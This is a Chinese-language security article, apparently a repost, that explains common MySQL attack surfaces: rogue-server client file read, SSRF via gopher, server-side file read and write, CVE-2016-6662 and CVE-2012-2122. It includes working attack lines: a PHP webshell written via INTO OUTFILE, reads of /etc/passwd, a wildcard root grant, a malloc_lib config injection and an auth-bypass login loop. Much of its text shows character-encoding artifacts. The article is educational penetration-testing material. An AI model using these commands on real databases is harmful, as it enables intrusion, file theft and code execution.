Mysql 都會(huì)遭受哪些方面的攻擊?

Mysql數(shù)據(jù)庫(kù)在無(wú)論是在滲透測(cè)試還是正常使用都是比較常見(jiàn)的數(shù)據(jù)庫(kù),在十一假期期間總結(jié)梳理了mysql近些年的常見(jiàn)攻擊利用方法,通過(guò)自己的實(shí)踐分析也有了更深刻的認(rèn)識(shí),希望能對(duì)大家有幫助,這里分享給大家。
0x01 簡(jiǎn)單介紹
MySQL 是最流行的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),在 WEB 應(yīng)用方面 MySQL 是最好的 RDBMS(Relational Database Management System:關(guān)系數(shù)據(jù)庫(kù)管理系統(tǒng))應(yīng)用軟件之一。
MySQL 是一個(gè)關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),由瑞典 MySQL AB 公司開(kāi)發(fā),目前屬于 Oracle 公司。MySQL 是一種關(guān)聯(lián)數(shù)據(jù)庫(kù)管理系統(tǒng),關(guān)聯(lián)數(shù)據(jù)庫(kù)將數(shù)據(jù)保存在不同的表中,而不是將所有數(shù)據(jù)放在一個(gè)大倉(cāng)庫(kù)內(nèi),這樣就增加了速度并提高了靈活性。
0x02 基礎(chǔ)指令
在mysql的正常使用中以及mysql數(shù)據(jù)庫(kù)攻擊利用時(shí),以下指令最常用,總結(jié)梳理如下
0x1 創(chuàng)建
create database hehe;//創(chuàng)建數(shù)據(jù)庫(kù)
CREATE TABLE IF NOT EXISTS `runoob_tbl`(
`runoob_id` INT UNSIGNED AUTO_INCREMENT,
`runoob_title` VARCHAR(100) NOT NULL,
`runoob_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `runoob_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;//創(chuàng)建數(shù)據(jù)表
0x2 查看
show databases;
show tables;
show variables like '%secure%'; //查看安全屬性
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';//讀取客戶端文件
0x3 更新添加用戶及權(quán)限
CREATE USER 'username'@'host' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
DROP USER 'username'@'host';
flush privileges;
0x4 文件讀寫(xiě)
SELECT ' system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
?
0x03 攻擊面分析
0x1 Mysql 客戶端任意文件讀
適用范圍:全版本 MySQL/MariaDB Client
條件:客戶端連接時(shí)開(kāi)啟 –enable-local-infile

從結(jié)果上來(lái)看,客戶端讀取了自身指定的數(shù)據(jù),抓取數(shù)據(jù)包分析整個(gè)流程。
1. Client Send 3306
192.168.0.114 是SqlServer 192.168.0.115為客戶端

2. Server Send Greeting packet
服務(wù)端返回一個(gè)server端基礎(chǔ)信息表包含版本,協(xié)議類型,salt值,server 功能項(xiàng)

這里有一個(gè)server 功能表

3. Client Auth and Send capability
這個(gè)包可以說(shuō)是客戶端的登錄包,包含用戶名,密碼,還有一份客戶端能力表。


從圖中可以看出client連接時(shí)開(kāi)啟了 —enable-local-infile 配置
4. Client Queries
接下來(lái)就是一些正常的客戶端查詢了




5. Client Send LOAD DATA LOCAL
最終客戶端發(fā)送下面指令

6. Server Send Filename
服務(wù)端收到這個(gè)執(zhí)行語(yǔ)句后會(huì)給客戶端以特定的協(xié)議格式發(fā)送一個(gè)包,類似于下面,功能類似于告訴客戶端把這個(gè)文件發(fā)給我讓我看看,如果連接時(shí)配置 –enable-local-infile 或者dsn 加上了allowAllFiles=true

7. 其他
攻擊腳本 Rogue_Mysql?https://github.com/allyshka/Rogue-MySql-Server
PHP有一些mysql客戶端擴(kuò)展,如mysql、mysqli、pdo,除了pdo外都可以被利用,因?yàn)閜do默認(rèn)禁止讀取本地?cái)?shù)據(jù),你需要通過(guò)設(shè)置PDO::MYSQL_ATTR_LOCAL_INFILE為true來(lái)啟用本地?cái)?shù)據(jù)讀取。同樣的,如果客戶端使用的是python的MySQLdb,也需要先設(shè)置local_infile連接選項(xiàng)。
0x2 利用SSRF 攻擊Mysql
適用范圍:全版本 MySQL/MariaDB Server
條件:擁有空密碼用戶
在之前有道ctf題目利用gopher協(xié)議獲取mysql數(shù)據(jù)庫(kù)中的flag,這里需要了解mysql的完整交互協(xié)議,并且要偽造客戶端,通過(guò)ssrf進(jìn)行交互連接。下面只需要分析mysql的數(shù)據(jù)交互過(guò)程。
主要分成三個(gè)部分:登錄認(rèn)證報(bào)文,客戶端請(qǐng)求報(bào)文以及服務(wù)器端返回報(bào),基于mysql5.1.73(mysql4.1以后的版本)
TCP 三次握手
服務(wù)端發(fā)送握手初始化報(bào)文
客戶端發(fā)送認(rèn)證報(bào)文
服務(wù)端發(fā)送認(rèn)證結(jié)果報(bào)文
客戶端發(fā)送命令報(bào)文
1. TCP 三次握手
![]()
客戶端與服務(wù)端進(jìn)行TCP握手連接,確定連接信息。
2. 服務(wù)端發(fā)送握手初始化報(bào)文
握手完成之后,服務(wù)端向客戶端發(fā)送mysql相關(guān)信息,


通過(guò)該數(shù)據(jù)包客戶端將獲取服務(wù)端提供的能力列表,以及獲取挑戰(zhàn)隨機(jī)數(shù),這將會(huì)在之后的客戶端認(rèn)證數(shù)據(jù)包中使用到。
3. 客戶端發(fā)送認(rèn)證報(bào)文
服務(wù)端生成挑戰(zhàn)數(shù)(scramble)并發(fā)送給客戶端,客戶端用挑戰(zhàn)數(shù)加密密碼后返回相應(yīng)結(jié)果,然后服務(wù)器檢查是否與預(yù)期的結(jié)果相同,從而完成用戶認(rèn)證的過(guò)程。值得注意的是,如果mysql的密碼為空,那么加密密碼就為空。

客戶端收到服務(wù)器發(fā)來(lái)的初始化報(bào)文后,會(huì)對(duì)服務(wù)器發(fā)送的權(quán)能標(biāo)志進(jìn)行修改,保留自身所支持的功能,然后將權(quán)能標(biāo)志返回給服務(wù)器,從而保證服務(wù)器與客戶端通訊的兼容性。
4. 服務(wù)端發(fā)送認(rèn)證結(jié)果報(bào)文
mysql收到了客戶端發(fā)過(guò)來(lái)的認(rèn)證包,并且經(jīng)過(guò)驗(yàn)證用戶名密碼都是正確的,這是客戶端被允許登陸了,報(bào)文結(jié)構(gòu)如下:

header = 0,表明是ok報(bào)文, server status = 02,表名設(shè)置自動(dòng)提交成功。
5. 客戶端發(fā)送命令報(bào)文
命令報(bào)文比較簡(jiǎn)單,第一個(gè)字節(jié)表示當(dāng)前命令的類型,之后的數(shù)據(jù)就是要執(zhí)行的命令。

6. 構(gòu)造數(shù)據(jù)包
因?yàn)闆](méi)有密碼的用戶登陸mysql時(shí)不需要與sqlserver進(jìn)行交互所以可以通過(guò)gopher協(xié)議通過(guò)一個(gè)數(shù)據(jù)包完成所有的交互,實(shí)現(xiàn)執(zhí)行命令的目的。
通過(guò)命令行執(zhí)行mysql -h 127.0.0.1 -u root -e "select now();"
利用wireshark 抓包獲取

我們只關(guān)心,數(shù)據(jù)包中的紅色客戶端部分,將它們都提取出來(lái),通過(guò)nc發(fā)送數(shù)據(jù)包
data = "b500000185a2bf01000000012d0000000000000000000000000000000000000000000000726f6f74000063616368696e675f736861325f70617373776f72640078035f6f73086f737831302e3134095f706c6174666f726d067838365f36340f5f636c69656e745f76657273696f6e06382e302e31380c5f636c69656e745f6e616d65086c69626d7973716c045f706964053432343831076f735f757365720634637431306e0c70726f6772616d5f6e616d65056d7973716c00000003210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420310d0000000373656c656374206e6f772829"
print data.decode("hex")

如果要執(zhí)行其他命令只需要修改其中的客戶端命令數(shù)據(jù)包。
0x3 Mysql 服務(wù)端文件讀寫(xiě)
適用范圍:全版本 MySQL/MariaDB Client
條件:服務(wù)端配置可讀寫(xiě)目錄和正確的用戶權(quán)限
1. 安全保護(hù)
mysql服務(wù)端的文件讀取有很多的條件限制,主要是mysql數(shù)據(jù)庫(kù)的配置,為了安全原因,當(dāng)讀取位于服務(wù)器上的文本文件時(shí),文件必須處于數(shù)據(jù)庫(kù)目錄或可被所有人讀取。你可以通過(guò)執(zhí)行show variables like '%secure%'來(lái)查看:

secure-file-priv參數(shù)是用來(lái)限制LOAD DATA, SELECT … OUTFILE, DUMPFILE and LOAD_FILE()可以操作的文件夾。
secure-file-priv的值可分為三種情況:
secure_file_priv的值為null ,表示限制mysqld 不允許導(dǎo)入|導(dǎo)出
當(dāng)secure_file_priv的值為/tmp/ ,表示限制mysqld 的導(dǎo)入|導(dǎo)出只能發(fā)生在/tmp/目錄下,此時(shí)如果讀寫(xiě)發(fā)生在其他文件夾,就會(huì)報(bào)錯(cuò)
當(dāng)secure_file_priv的值沒(méi)有具體值時(shí),表示不對(duì)mysqld 的導(dǎo)入|導(dǎo)出做限制
除此之外讀取或?qū)懭胛募仨殦碛锌刹僮鞯挠脩魴?quán)限否則會(huì)報(bào)錯(cuò):
ERROR 1045 (28000): Access denied for user
2. 讀取文件
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
CREATE TABLE test ( id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';
3. 寫(xiě)入文件
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
![]()
0x4 Mysql遠(yuǎn)程代碼執(zhí)行/權(quán)限提升漏洞 (CVE-2016-6662)
版本范圍:MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51, 遠(yuǎn)程代碼執(zhí)行/ 提權(quán) (0day),包括mysql的分支版本MariaDB,PerconaDB
利用條件要具有FILE和SELECT權(quán)限的mysql的用戶且能夠訪問(wèn)日志功能(通常情況下只有MYSQL的管理員用戶具有)
1. 漏洞原因
MySQL的默認(rèn)安裝包里自帶了一個(gè)mysqld_safe的腳本用來(lái)啟動(dòng)mysql的服務(wù)進(jìn)程
該進(jìn)程能夠在啟動(dòng)mysql server之前預(yù)加載共享庫(kù)文件,通過(guò)參數(shù) –malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe:
一旦攻擊者可以注入惡意庫(kù)文件在my.cnf文件中,即可在mysql服務(wù)重啟時(shí)以root權(quán)限執(zhí)行預(yù)加載的任意共享庫(kù)中的任意代碼
2. 利用場(chǎng)景
在MYSQL已存在的具有弱權(quán)限或者權(quán)限設(shè)置不安全的配置文件(mysql用戶可寫(xiě))里注入惡意代碼
在MYSQL的data目錄里(mysql用戶默認(rèn)可寫(xiě))創(chuàng)建一個(gè)新的配置文件my.cnf,并注入惡意代碼
3. 漏洞利用
首先通過(guò)sql查詢創(chuàng)建配置文件
mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/exploit.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
之后重啟mysql服務(wù),即可執(zhí)行tmp文件夾下的exploit.so文件
0x5 Mysql 身份認(rèn)證繞過(guò)漏洞(CVE-2012-2122)
版本范圍 :
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
當(dāng)連接MariaDB/MySQL時(shí),輸入的密碼會(huì)與期望的正確密碼比較,由于不正確的處理,會(huì)導(dǎo)致即便是memcmp()返回一個(gè)非零值,也會(huì)使MySQL認(rèn)為兩個(gè)密碼是相同的。也就是說(shuō)只要知道用戶名,不斷嘗試就能夠直接登入SQL數(shù)據(jù)庫(kù)。
漏洞復(fù)現(xiàn)?https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122?直接搭建docker環(huán)境
在不知道我們環(huán)境正確密碼的情況下,在bash下運(yùn)行如下命令,在一定數(shù)量嘗試后便可成功登錄:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

0x04 總結(jié)
總結(jié)了mysql客戶端任意文件讀取利用、利用SSRF攻擊Mysql數(shù)據(jù)庫(kù)獲取數(shù)據(jù)、SQL注入中文件讀寫(xiě)利用、特定版本Mysql提取獲取shell漏洞以及很古老的mysql身份繞過(guò)認(rèn)證,這些攻擊技巧是之前頻繁出現(xiàn)的利用方法,后續(xù)將分析關(guān)于postgres等數(shù)據(jù)的攻擊利用方法。
0x05 參考文獻(xiàn)
http://www.nsoad.com/Article/Vulnerabilityanalysis/20160913/391.htm
https://www.freebuf.com/articles/web/159342.html
https://www.anquanke.com/post/id/84553
https://www.imooc.com/article/258850?block_id=tuijian_wz
https://blog.csdn.net/weixin_34255793/article/details/90309996
來(lái)源:https://www.anquanke.com/post/id/219892
版權(quán)申明:內(nèi)容來(lái)源網(wǎng)絡(luò),版權(quán)歸原創(chuàng)者所有。除非無(wú)法確認(rèn),我們都會(huì)標(biāo)明作者及出處,如有侵權(quán)煩請(qǐng)告知,我們會(huì)立即刪除并表示歉意。謝謝!

